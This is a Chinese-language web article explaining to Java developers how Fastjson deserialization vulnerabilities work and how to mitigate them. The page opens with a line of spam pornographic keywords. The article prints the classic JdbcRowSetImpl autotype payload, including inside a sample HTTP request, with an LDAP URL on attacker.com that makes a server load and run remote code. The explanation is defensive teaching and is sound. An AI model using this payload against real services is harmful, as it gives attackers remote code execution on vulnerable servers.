亚洲乱色熟女一区二区三区丝袜,天堂√中文最新版在线,亚洲精品乱码久久久久久蜜桃图片,香蕉久久久久久av成人,欧美丰满熟妇bbb久久久

LOGO OA教程 ERP教程 模切知識(shí)交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

給開發(fā)工程師講的 Fastjson 漏洞原理

admin
2025年7月22日 16:59 本文熱度 812

前幾天一位安服朋友提到很多開發(fā)團(tuán)隊(duì)對(duì) Fastjson 漏洞的理解還停留在 "知道有風(fēng)險(xiǎn)但不清楚為什么" 的層面。尤其是 Java 開發(fā)團(tuán)隊(duì),因?yàn)?Fastjson 在國(guó)內(nèi)項(xiàng)目中使用非常廣泛,一旦出問題影響極大。今天就專門給開發(fā)工程師們講講 Fastjson 漏洞的來(lái)龍去脈。

先說(shuō)說(shuō) Fastjson 是什么

Fastjson 是阿里巴巴開發(fā)的一款 Java JSON 解析庫(kù),常見于 Java Web 應(yīng)用或移動(dòng)服務(wù)端,很多項(xiàng)目都在 Maven 或 Gradle 中直接引用它?!?/span>

它的核心功能就是:

  • 將 Java 對(duì)象轉(zhuǎn)換成 JSON 字符串(序列化)
  • 將 JSON 字符串轉(zhuǎn)換成 Java 對(duì)象(反序列化)


Fastjson 漏洞的核心問題:反序列化風(fēng)險(xiǎn)

Fastjson 的主要漏洞集中在反序列化過程中,具體涉及 CVE-2017-18349、CVE-2020-2883、CVE-2021-21351 等多個(gè)漏洞編號(hào),本質(zhì)都是惡意構(gòu)造的 JSON 字符串被解析時(shí),觸發(fā)了危險(xiǎn)類的方法執(zhí)行。

先理解什么是反序列化

正常情況下,反序列化是個(gè)很有用的功能:

  1. 客戶端發(fā)送 JSON 字符串:{"name":"張三","age":20}
  2. 服務(wù)器用 Fastjson 把它轉(zhuǎn)成 Java 對(duì)象:User{name='張三', age=20}

但問題在于,F(xiàn)astjson 為了方便用戶使用,支持一種特殊語(yǔ)法:通過@type字段指定要反序列化的類。

比如:{"@type":"com.example.User","name":"張三","age":20}

這會(huì)明確告訴 Fastjson:" 請(qǐng)把我轉(zhuǎn)成com.example.User類的對(duì)象 "。

漏洞原理:惡意類的利用

攻擊者發(fā)現(xiàn),如果在@type里指定系統(tǒng)中已存在的危險(xiǎn)類,并構(gòu)造特定參數(shù),就能觸發(fā)這些類的危險(xiǎn)方法。

以最經(jīng)典的利用為例:

  1. 攻擊者構(gòu)造惡意 JSON:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}

2. Fastjson 解析時(shí)會(huì):

    • 識(shí)別@type指定的JdbcRowSetImpl
    • 調(diào)用該類的setDataSourceName方法,傳入惡意 LDAP 地址
    • 調(diào)用setAutoCommit方法時(shí),會(huì)觸發(fā)JdbcRowSetImpl內(nèi)部的 JNDI lookup 操作
    • 服務(wù)器會(huì)向attacker.com發(fā)起 LDAP 請(qǐng)求,下載惡意類
    • 最終執(zhí)行惡意代碼

漏洞的關(guān)鍵原因

  1. 對(duì)@type字段的危險(xiǎn)類沒有限制
    :早期版本允許反序列化任意類
  2. 自動(dòng)調(diào)用 setter 方法的機(jī)制
    :Fastjson 在反序列化時(shí)會(huì)自動(dòng)調(diào)用對(duì)應(yīng)屬性的 setter 方法,可能觸發(fā)危險(xiǎn)操作
  3. 與 JNDI 的結(jié)合

    :當(dāng)被反序列化的類(如JdbcRowSetImpl)包含 JNDI lookup 功能時(shí),就會(huì)形成遠(yuǎn)程代碼執(zhí)行鏈

哪些情況有風(fēng)險(xiǎn)?

  1. 使用 Fastjson 解析不可信來(lái)源的 JSON 數(shù)據(jù)(如用戶輸入、網(wǎng)絡(luò)請(qǐng)求)
  2. Fastjson 版本低于安全版本(不同漏洞對(duì)應(yīng)的安全版本不同,如1.2.83修復(fù)了多個(gè)高危漏洞)
  3. 項(xiàng)目中存在可被利用的 "gadget 類"(即包含危險(xiǎn)方法的類,如JdbcRowSetImpl、TemplatesImpl等)

簡(jiǎn)單的圖示:

惡意JSON --> Fastjson解析 --> 識(shí)別@type --> 調(diào)用危險(xiǎn)類 --> 加載遠(yuǎn)程類 --> 代碼執(zhí)行

舉個(gè)實(shí)際攻擊場(chǎng)景

  1. 構(gòu)造惡意請(qǐng)求
    攻擊者在 HTTP 請(qǐng)求體中放入惡意 JSON

POST/api/user?HTTP/1.1Host:vulnerable.comContent-Type:application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/poc","autoCommit":true}

2. 服務(wù)器處理流程

    • 后端接口接收 JSON 數(shù)據(jù)
    • 調(diào)用JSON.parseObject(requestBody)進(jìn)行解析
    • Fastjson 觸發(fā)反序列化流程,執(zhí)行惡意代

3. 攻擊結(jié)果:服務(wù)器從攻擊者的 LDAP 服務(wù)器加載惡意類,執(zhí)行后攻擊者獲得服務(wù)器控制權(quán)

給開發(fā)者的終極建議:

  1. 強(qiáng)制升級(jí):Fastjson ≥?1.2.83(修復(fù)了多數(shù)高危漏洞)。

  2. 開啟安全模式

ParserConfig.getGlobalInstance().setSafeMode(true);?// 徹底禁用 Autotype

3.白名單控制(若必須用?@type):

ParserConfig.getGlobalInstance().addAccept("com.trusted.package.");

4.永不解析不可信 JSON

用戶輸入需嚴(yán)格校驗(yàn) + 過濾?@type?字段。

關(guān)鍵認(rèn)知:Fastjson 漏洞本質(zhì)是?Java 反序列化通病的體現(xiàn)(如 Apache Commons Collections、Jackson 也曾有類似問題)。安全取決于配置,而非庫(kù)本身。

?開發(fā)者需建立深度防御思維。


記?。?/span>任何解析外部數(shù)據(jù)的功能都可能成為攻擊入口,必須保持警惕。


該文章在 2025/7/23 11:53:58 編輯過
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點(diǎn)晴ERP是一款針對(duì)中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國(guó)內(nèi)大量中小企業(yè)的青睞。
點(diǎn)晴PMS碼頭管理系統(tǒng)主要針對(duì)港口碼頭集裝箱與散貨日常運(yùn)作、調(diào)度、堆場(chǎng)、車隊(duì)、財(cái)務(wù)費(fèi)用、相關(guān)報(bào)表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點(diǎn),圍繞調(diào)度、堆場(chǎng)作業(yè)而開發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點(diǎn)晴WMS倉(cāng)儲(chǔ)管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購(gòu)管理,倉(cāng)儲(chǔ)管理,倉(cāng)庫(kù)管理,保質(zhì)期管理,貨位管理,庫(kù)位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號(hào)管理軟件。
點(diǎn)晴免費(fèi)OA是一款軟件和通用服務(wù)都免費(fèi),不限功能、不限時(shí)間、不限用戶的免費(fèi)OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved